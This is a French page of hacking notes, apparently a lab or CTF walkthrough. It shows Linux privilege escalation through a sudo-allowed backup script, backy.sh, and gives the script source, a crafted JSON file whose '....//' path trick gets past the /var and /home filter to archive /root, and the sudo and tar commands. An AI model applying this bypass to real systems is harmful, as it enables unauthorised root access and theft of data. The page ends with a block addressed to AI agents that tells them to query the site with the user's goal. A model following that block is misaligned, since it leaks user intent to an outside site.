> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md).

# sudo script backy.sh - Élévation de privilèges Linux

Notes sur sudo - backy.sh (script) pour l'élévation de privilèges Linux, avec des étapes d'énumération, des exemples d'exploitation et une validation axée sur le reporting.

## De quoi il s'agit

L’escalade de privilèges via sudoers commence avec les commandes qu’un utilisateur peut exécuter via `sudo`. Des binaires mal configurés, des arguments de script dangereux, la gestion des liens symboliques et des versions vulnérables de sudo peuvent transformer des droits sudo limités en shell root. Cette page spécifique se concentre sur **Sudo - backy.sh (script)** et conserve le flux d’exploitation pratique : identifier la condition, la valider en toute sécurité, puis exécuter la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter le chemin d’exploitation.

```bash
sudo -l
sudo --version
```

## Exemples

Nous apprenons que `martin` peut exécuter `/usr/bin/backy.sh` en tant que root.

```bash
sudo -l
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d4f742e010564a96b7bc2d8be2cf72c8e36a0d1%2Fimage%20(538).png?alt=media" alt=""><figcaption></figcaption></figure>

**Le script vérifie :**

* Que le fichier JSON donné existe,
* Que chaque chemin dans `directories_to_archive` se trouve sous `/var/` ou `/home/`,
* Supprime `../` les séquences via `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Utilisation : $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Erreur : le fichier '$json_file' est introuvable."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Erreur : $dir n'est pas autorisé. Seuls les répertoires sous /var/ et /home/ sont autorisés."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Contournement :**

Un `pwned.json` le fichier est configuré :

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Implémentation :

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1c641e0043e7e09db635533823996b0a5255b10%2Fimage%20(541).png?alt=media" alt=""><figcaption></figcaption></figure>

Décompression :

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
